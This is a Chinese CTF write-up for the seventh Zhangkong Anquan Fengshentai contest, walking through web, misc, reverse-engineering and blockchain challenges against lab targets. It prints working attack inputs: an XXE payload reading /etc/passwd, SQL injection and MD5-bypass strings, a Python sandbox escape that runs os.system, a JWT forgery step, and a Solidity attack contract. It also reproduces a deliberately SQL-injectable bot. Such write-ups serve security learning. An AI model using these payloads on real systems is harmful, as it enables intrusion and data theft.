2025掌控安全第七届封神台CTF WriteUp

科技   2025-01-08 12:00   江西  

扫码领资料

获网安教程


Track安全社区投稿~  

千元稿费!还有保底奖励~(https://bbs.zkaq.cn)

难度:简单

WEB

welcome_to_zkaqctf

靶场给出了app.js,分析js代码

const {promises: fs} = require('fs');const fastify = require('fastify');const flag = process.env.FLAG || 'zkaq{do_you_believe_this_is_flag?}';const app = fastify();app.get('/', async (_, res) => {  res.type('text/html').send(await fs.readFile('index.html'));});app.post('/', (req, res) => {  if (typeof req.body === 'object' && req.body[flag] === true) {    return res.send(`OhoUhOu~ flag is ${flag}`);  }  return res.send(`emmmmmmmwmwmwmwm NO...`);});

在第一个if判断中,要求用户的输入为object 对象类型,并且该对象的属性flag要为true,由于我们不知道真正的flag是什么,因此第二个条件使用flag作为键名来查找对应的键值结果会是undefined,所以req.body[flag]=undefined ,undefined===true为false,而直接return NO。

而在JS中,typeof null 返回 object,因此当 POST 请求体是 null 时,typeof req.body === 'object' 成立,这使得程序继续执行,进入到判断逻辑中。当 req.body 为 null 时,访问 req.body[flag] 会发生原型链查找,null 的原型链是 Object.prototype,所以在访问 null[flag] 时,JavaScript 引擎会尝试在 Object.prototype 上查找 flag,然后通过报错带出flag

本题也可以通过试探做出来:

正常传入为No

将传参删除发现报错:

Body cannot be empty when content-type is set to 'application/json'

那么到这里可以尝试换content-type或直接删除content-type

科目四

本题改自安恒之前的一道CTF题,考点是一样的,考的前端的断点调试,AES解密也可。

一种解法是:

直接浏览器F12,在源代码中可以看到aes加密,提取字典c,然后通过map将p7等字符串对应的值提取出来,使用join拼接,再使用AES解密,因此根据源代码写出解密代码再运行即可。

exp by 小队:去码头捞捞薯条

<!DOCTYPE html><html lang="en"><head>    <meta charset="UTF-8">    <meta name="viewport" content="width=device-width, initial-scale=1.0">    <title>AES Decryption Test</title>    <!-- 使用最新版本的CryptoJS -->    <script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.js"></script></head><body>    <h1>Test AES Decryption</h1>    <button onclick="decrypt()">Decrypt</button>    <script>        function decrypt() {            const c = {                p7: "U2Fs",                p3: "dGVk",                p11: "X18/",                p2: "t7E+",                p9: "7zQl",                p4: "G9eB",                p1: "PkJo",                p8: "aNil",                p13: "HFDK",                p6: "YpMu",                p10: "X50l",                p5: "6T8/",                p15: "XGTi",                p12: "S0PR",                p14: "uK1x",                p16: "7qc3",                p19: "ZP0v",                p17: "T85/",                p20: "BvsK",                p18: "YIxp",                p21: "L7cG",                p22: "wUO5MZrAF55bg2QlNBpeEbU=",                p23: "ZKAQCTF{",                p24: "thik",                p25: "do_y0ru",                p26: "true_1s_false?",                p27: "hhhhs",                p28: "yeahyeahyea",            };            try {                const t = [                    "p7", "p3", "p11", "p2", "p9", "p4", "p1", "p8", "p13",                    "p6", "p10", "p5", "p15", "p12", "p14", "p16", "p19", "p17",                    "p20", "p18", "p21", "p22"                ].map((key) => c[key]).join("");                const n = "ZKAQCTF{try_hack_it_hhh}";                              // 使用CryptoJS来进行AES解密 (CBC模式和PKCS7填充)                const decrypted = CryptoJS.AES.decrypt(t, n, {                    mode: CryptoJS.mode.CBC,                    padding: CryptoJS.pad.Pkcs7                });                const decryptedText = decrypted.toString(CryptoJS.enc.Utf8);                console.log("Decrypted Text: ", decryptedText);            } catch (e) {                console.error("decrypt error!", e);            }        }</script></body></html>

另一种解法是:

将所有题目随便选,然后到最后得到考试结果,然后全局搜索关键字,再通过下断点的方式,使程序运行到输出flag的函数,然后调用该函数将flag输出(或者有一变量e 为true / false决定了程序是执行到“合格”或“不合格”):

调用d()函数出flag。

诗和远方

点击我是乘客提示需要出示车票

F12查看源代码可看到提示:

这里调用pay接口来检查用户的权限,抓包看到是通过JWT鉴权:

这里给的权限是乘客的JWT,并且给出了JWT的sign

通过响应我们可以看到,需要的是司机的权限,因此我们可能需要伪造司机的JWT才能解题,而伪造司机的JWT则需要获取司机的sign,并且从上面的提示得知,kid作为了SQL查询的一部分,这很容易联想到SQL注入,但它这里对kid在查询之前还进行了md5加密,并提示中还给出为了方便将md5作为16进制传入查询,因此万能密码是不同于常见的' or '1'='1,这里的万能密码是ffifdyop。ffifdyop经过md5计算后值为276f722736c95d99e921722cf9ed621c,作为16进制字符串在sql语句中执行时会转义成'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c,因此sql语句将变成类似如下的永真语句,实现sql语句MD5绕过。

select * from 'admin' where password='or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c

secret: conductor_key_514063370356d5cddb4363b4786fd072d36a25e0ab60a78b8df01bd396c7a05cccbbb3733ae3f8e

再通过司机的sign伪造JWT发包即可获得flag。

另一个解:129581926211651571912466741651878684928,原理一样。

参考资料:https://cvk.posthaven.com/sql-injection-with-raw-md5-hashes

为了部落!

打开网页时一片空白

随意拼接访问,触发报错,并确认是django框架,并且得到了路由信息

依次访问路由:

当访问/foobarbaz时,要输入账号密码

此处可尝试进行注入,随意输入正常用户名 、单引号,在响应中报错:

You provided invalid credentials.

输入双引号:

Unexpected Exception: Invalid predicate

接着构造闭合

" or 1=1 or "1"="1,提示

WWW-Authenticate: Basic realm=devs_only err=Your username is 'bernd' and your role is 'inactive', but 'admin' role required. 需要admin身份。

因此更改注入语句为" or role="admin" or "1"="1,注入成功来到页面

通过观察页面功能,发现右上角有注册用户和登录用户功能,那么尝试注册一个用户:

抓包观察注册用户数据包发现有一个传参role,联想到前面注入中的role

尝试注册一个role为admin的用户,提示:role只能为user 和 dev

因此注册一个dev账户,进入后,在首页/foobarbaz/pizza/list中查看源代码发现注释了一个兵种:弓箭女皇,

而在you orders /foobarbaz/order/list的源代码中还发现一处注释为:

提示需要购买下弓箭女皇,而查看我们的账户余额为200,而在Arms功能中,dev账户可以创建兵种,并且your orders存在下单购买兵种功能,因此,我们是否可以利用逻辑漏洞,创建一个-2000的兵种,然后通过购买这个兵种来实现自己的余额达到2000呢:

接着我们就可以去下单购买隐藏在注释中的兵种弓箭女皇 Archery Queen了,注意空格的URL编码:

购买成功后,自动跳转到了一个新的界面:

F12查看源代码发现一个form表单

禁用样式将表单显现出来

随意输入内容抓包查看,是xml格式,提交后,会生成对应的页面展示

尝试XXE

<?xml version="1.0"?><!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd">]><Arms><video>test</video><details>%26xxe%3B</details></Arms>

提示flag在flag文件中,读取flag即可。

MISC

misc1-签到

随言随语编码,直接在线网站解密即可:http://1o1o.xyz/sbzlcode/sbzlcode.html

来一杯tea

题目直接给出了源码:

import ast
def safe_import(): print("Look! this guy is using imports!???O.o")
def safe_call(): print("Look! this guy is using calls!???o.O")
class XiTiAiFu(ast.NodeTransformer): def visit_Call(self, node: ast.Call) -> ast.AST: return ast.Call(func=ast.Name(id='safe_call', ctx=ast.Load()), args=[], keywords=[]) def visit_Import(self, node: ast.AST) -> ast.AST: return ast.Expr(value=ast.Call(func=ast.Name(id='safe_import', ctx=ast.Load()), args=[], keywords=[])) def visit_ImportFrom(self, node: ast.ImportFrom) -> ast.AST: return ast.Expr(value=ast.Call(func=ast.Name(id='safe_import', ctx=ast.Load()), args=[], keywords=[])) def visit_Assign(self, node: ast.Assign) -> ast.AST: return ast.Assign(targets=node.targets, value=ast.Constant(value=0)) def visit_BinOp(self, node: ast.BinOp) -> ast.AST: return ast.BinOp(left=ast.Constant(0), op=node.op, right=ast.Constant(0)) something = input('good morning guy,Do you need something:').splitlines()[0]
box = ast.parse(something)box = XiTiAiFu().visit(box)ast.fix_missing_locations(box)
exec(compile(box, '', 'exec'), {'__builtins__': {}}, {'safe_import': safe_import, 'safe_call': safe_call})

代码的基本逻辑是:创建一个pythonAST沙箱,禁用导入语句、函数调用、赋值操作和普通二元运算,用户的输入被重写到safe_import和safe_call,因此本质上考的是python沙箱逃逸。

exp:

for safe_call.__globals__["ast"].sys.modules["io"].RawIOBase.__class_getitem__ in [safe_call.__globals__["ast"].sys.modules["os"].system]:pass;{eee:=safe_call.__globals__["ast"].sys.modules["io"].RawIOBase};eee["cat flag92398U2938YR892Y3928392Y93.txt"];

黑客传奇:两小时

打开题目,最明显的提示就是这个 OCaml version 4.13.1

因此直接查 OCaml是一门编程语言,因此这里主要考察的是通过 OCaml这门语言来获取flag:

Sys.command "cat ./secret/c/t/f/flag-00yournotfindme00.json";;

hello discord

题目是一个discord邀请链接,加入discord群组后,根据提示just say helpme to bot pythondis,私聊机器人pythondis

使用helpme命令私聊机器人,会出现另外两个选项 ,porg / source

通过source命令可获取源代码:

通过源代码分析,在porg命令中,使用了SQL查询,很明显的SQL注入:

因此SQL注入即可得到flag:

code:

import disnakefrom disnake.ext import commandsimport sqlite3import osfrom dotenv import load_dotenvload_dotenv()connection = sqlite3.connect("porgs.db")cursor = connection.cursor()bot = commands.Bot(command_prefix=commands.when_mentioned)intents = disnake.Intents.default()class Porg:    def __init__(self, data):        (self.id, self.name, self.age, self.fav_color, self.image) = data@bot.eventasync def on_ready():    print('Bot is up!')@bot.command()async def helpme(ctx):    if not isinstance(ctx.channel, disnake.DMChannel):        await ctx.send("young gus,tell me your wish.")        return    await ctx.send("""        helpme - when your have any problems,just say helpme~        porg <name> - Find your cue friends ~        source - Get my source code ???    """)@bot.command()async def source(ctx):    if not isinstance(ctx.channel, disnake.DMChannel):        await ctx.send("young gus,tell me your wish.")        return        src = disnake.File('code.zip')    await ctx.send("Here's my source code!", file=src)@bot.command()async def porg(ctx, *, name: str):    if not isinstance(ctx.channel, disnake.DMChannel):        await ctx.send("young gus,tell me your wish.")        return    query = f"SELECT * FROM porgs WHERE name LIKE '{name}'"    print(query)    try:        cursor.execute(query)        results = cursor.fetchall()    except Exception as e:        ctx.send("Error:", str(e))        return    if len(results) == 0:        await ctx.send(f"No found your friends with name {name}")        return    result = results[0]    porg = Porg(result)    if ('..' in porg.image):        await ctx.send("NO NO NO too young!")        return    print(porg.name+'\n'+porg.image+'\n'+str(porg.age)+'\n'+porg.fav_color+'\n')    img = disnake.File(os.path.join('/home/runner/DescriptivePoisedFibonacci/images/', porg.image))    display = disnake.Embed(title=porg.name, color=0x2545d1)    display.add_field(name="Name", value=porg.name, inline=True)    display.add_field(name="Age", value=porg.age, inline=True)    display.add_field(name="Favorite Color", value=porg.fav_color, inline=True)    display.set_image(file=img)    await ctx.send(embed=display)bot.run(os.environ['TOKEN'])

题目用的是在线托管环境https://replit.com/ ,我的账号试用期到期了,想复现的师傅可以使用在线托管环境进行复现。

参考资料:discord机器人部署教程:https://www.youtube.com/watch?v=SPTfmiYiuok

REVERSE

wait sometime

这里直接借用 去码头捞捞薯条 小队的wp了,写的比我详细[憨笑]。

PE检查

IDA64打开,查看主函数中的noting,分析其逻辑都是打印一些程序加载的东西,没有什么用

找到关键函数pringflags,并且发现,程序没有运行此程序

分析上述逻辑,调用十几个对key操作的函数,并对所给数据进行加密,既然是正向的,直接让程序帮我们出就行了

远程调试程序

劫持IP让程序运行到这段程序

获得flag

easy sol

拿到题目之后, 放在Remix中运行

发现有如下函数

调用getFlag函数,会返回说flag被销毁, 让我们修好他被销毁的flag

并给了我们被销毁后的flag:

118,93,81,248,107,39,179,34,83,115,0,36,244,38,34,135,35,40,117,7,38,246,39,31,179,112,34,70,6,81,199,227

继续查看, 发现destroyFlag 函数,

这个函数输入一个byte32类型的字节数据, 经过一系列处理后, 返回

这里应该就是题目所说的被销毁的过程

这里的逻辑相对还是简单的

首先根据 byte32 以及for循环的次数,能够确定flag是32位的

每位字节按照顺序

第3i位的字节会加上随机数数组中的第 i % 9 位

第 3i + 1 位的字节会与randomArray中的 i%9位进行异或运算

第 3i +2 位的字节会减去randomArray中的 i%9

随后, 在处理过后, 在加上后一个数

最后的数字加上首位数

根据这个原理, 我们写一个逆向脚本, 这里有一个小坑, 每次的flags会加上后一位flags[i+1], 但是flags[i+1]还没有被写入, 所以是0, 也就不需要先减去flags[i+1]了

这里的randomArray只是示例, 我们还需要去逆向destroyKey函数

这里要注意每个步骤结束后需要模256才可以

因为Solidity中的代码是用uint8来进行定义的

如果发生了相加大于255或相减小于0的时候会发生溢出

destroyKey函数中定义了参数token, 值为时间戳的末尾, 这里可以爆破0-9

这里 nowTime = salt

salt是区块链上的状态变量

由setSalt函数设置

从区块链上获取了当前时间

下面的while循环

将当前时间戳按位存储到了matrix数组中

每次循环会将nowTime的值减少一个最高位(以十进制为基)

这里最后matrix[0]加的就是nowTime的个位

下面的函数temp=token

循环9次,

其中内联的Yul汇编代码是求temp的平方

也就是token的平方

然后将这一位加到matrix上

加完之后, matrix的这一位会与前一位进行异或运算

最后, 第0位与最后一位进行异或运算

最后这段

里面就是做了一个不断转置的过程

将matrix作为初始矩阵

求matrix的转置矩阵

将转置后的第i位添加到最终的randomArray中

形如: 

最后的randomArray第一个数是转置矩阵的,第二个数是初始矩阵的,第三个是转置,第四个是初始, 以此类推.

写出相应的逆向脚本, 这里temp的值需要等到最后结合上上面的对flag逆向的脚本进行爆破, 由于是时间戳的最后一位, 所以其值在0-9

完整exp: 

# 1 复原矩阵now_time = [[23, 50, 18], [147, 16, 24], [85, 21, 16]]matrix = [[0 for _ in range(3)] for _ in range(3)]
for i in reversed(range(3)): for j in reversed(range(3)):
now_time = [[row[i] for row in now_time] for i in range(len(now_time[0]))] # print(now_time) matrix[i][j] = now_time[i][j]print("原矩阵:", matrix)
matrix = [element for row in matrix for element in row]print(matrix)matrix[0] ^=matrix[8]temp_lis = []temp = 7for i in range(8): temp = pow(temp, 2) % 256 temp_lis.append(temp)
# 加减token, 异或逆向的复原for i in reversed(range(1,9)): matrix[i] ^= matrix[i-1] matrix[i] -= temp_lis[i-1] matrix[i] = matrix[i] % 256print(matrix)
dflags = [109, 104, 91, 108, 121, 91, 63, 96, 98, 58, 50, 92, 62, 52, 93, 61, 98, 44, 63, 54, 91, 104, 54, 45, 66, 99, 93, 59, 50, 48, 61, 236]randomArray = matrixdflags[-1] -= dflags[0]dflags[-1] -= randomArray[31 % 9]
for i in reversed(range(len(dflags) - 1)):
if i % 3 == 0: dflags[i] -= randomArray[i % 9] elif i % 3 == 1: dflags[i] ^= randomArray[i % 9] elif i % 3 == 2: dflags[i] += randomArray[i % 9] dflags[i] %= 256print(dflags)
flag = ''for i in dflags: flag += chr(i)print(flag)

BlockChain

美梦成真

这题有两种解法:

第二种解法 by 小队 roko,直接看到公众号 ChaMd5安全团队 的文章:https://mp.weixin.qq.com/s/hnSph_wHGw1U3awXYCmzJA

第一种解法:

考点:interface的利用,view关键字

我们先解析源代码,其中 end_challenge 是为了防止flag泄露而设置的,故此处删去不作解析:

// 外部合约接口interface Wish_Maker { function wish_amount() external view returns (uint256); // 一个只能外部调用的,不允许改变自身状态变量的函数,返回值为一个uint256 } // 主合约address public owner; mapping(address => bool) public started; mapping(address => uint256) public wishes; mapping(address => bool) public wish_made; // 看似无用,但是非常关键function start_challenge() public { require( started[tx.origin] == false, "Can't start challenge when it's open." ); started[tx.origin] = true; wishes[tx.origin] = 1; // 为挑战者开启挑战,设置其可许愿次数为1 } // 判断外部合约请求的愿望数是否<1(其实就是是否为0)wish_made[tx.origin] = true; } // 需要先开启挑战且愿望数>0才能调用该函数function wish_making() external challenge_started remains_wish { Wish_Maker wish_maker = Wish_Maker(msg.sender); // 利用接口引入外部合约bool is_less_than = false; if (wish_maker.wish_amount() < 1) { // 第1次调用外部合约的wish_amount() is_less_than = true; } // 修改是否许过愿if (is_less_than) { wishes[tx.origin] = wish_maker.wish_amount(); // 第2次调用外部合约的wish_amount() // 如果上面的判断为真,就将挑战者的愿望数修改为外部合约请求的愿望数} else { wishes[tx.origin]--; // 否则就将挑战者的愿望数-1 } // 看起来这个函数想仿照检查-修改-交互模式保证安全,但是好像弄巧成拙了...?// 需要开启挑战才能调用该函数function regret() external challenge_started { wishes[tx.origin] = 1; wish_made[tx.origin] = false; // 重置愿望数以及是否许过愿} function is_solved(address addr) public view returns (bool) { return wishes[addr] > 1 ? true : false; // 题目要求愿望数>1 }

首先很明显,我们需要首先调用start_challenge开启挑战然后才能继续下面的操作,接下来我们就需 要让wishes变成大于1的数 如果Wish_Maker接口的函数没有被view修饰,那么我们的外部攻击合约可以这样写:

bool called = false; function wish_amount() external returns (uint256){    if(called){ // 题目合约第2次调用该函数        return 11037;        // 返回一个大于0的值以完成对wishes的修改    }    else{   // 题目合约第1次调用该函数        called = true;        return 0;        // 返回0以让is_less_than为真    } }

这样我们就可以将wishes修改为11037,但是实际情况是我们有个view,而它不允许函数修改合约的 状态变量,而上面的攻击合约在函数内修改了状态变量called,因此直接使用上面的代码是行不通的

当然经过上面的解析,我们也能发现我们只需要做到这一点:第1次被调用wish_amount()的时候返回 0,第2次被调用的时候返回一个大于0的数就可以了,而做到这点我们需要一个能够参考的东西,这个东 西在第1次被调用后,第2次被调用前这段时间内发生过变化,这样我们就可以根据它产生的变化进行判 断,最后根据它返回不同的值了

view只是阻拦了我们攻击合约的状态变量的改变,但是如果题目合约就有状态变量发生改变了呢?那么 这个状态变量不就可以为我们所用了吗?

查看题目合约,发现两次调用中间还真有个wish_made发生了变化,因此我们只需要将这个作为参考就 可以完成攻击了  

// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./DCT.sol"; contract Attack{    Make_a_wish public make_a_wish;    constructor(address _make_a_wish){        make_a_wish = Make_a_wish(_make_a_wish);        // 导入实例    }    function attack() public{        make_a_wish.start_challenge();        make_a_wish.wish_making();    }    function wish_amount() external view returns(uint256){        return make_a_wish.wish_made(tx.origin) ? 11037 : 0;       // 第1次调用时,wish_made为false,返回0        // 第2次调用时,wish_made为true,返回0    }}

本地链测试一下:  

经典结尾

【easy sol】出自 君叹,【美梦成真】出自 9C±Void,其他题目有向其他大大小小的CTF赛题借鉴而来,在此对各位师傅以及前辈们表示诚挚的感谢,同时,也感谢支持本次赛事的领导和同事,以及感谢参与本次比赛的各位同学们,感谢你们的支持,最后,感谢观看!

附上top25名单:

申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,

所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.


没看够~?欢迎关注!

分享本文到朋友圈,可以凭截图找老师领取

上千教程+工具+靶场账号

 分享后扫码加我


回顾往期内容

Xray挂机刷漏洞

零基础学黑客,该怎么学?

网络安全人员必考的几本证书!

文库|内网神器cs4.0使用说明书

代码审计 | 这个CNVD证书拿的有点轻松

【精选】SRC快速入门+上分小秘籍+实战指南

    代理池工具撰写 | 只有无尽的跳转,没有封禁的IP!

点赞+在看支持一下吧~感谢看官老爷~ 

你的点赞是我更新的动力


掌控安全EDU
安全教程\x5c高质量文章\x5c面试经验分享,尽在#掌控安全EDU#
 最新文章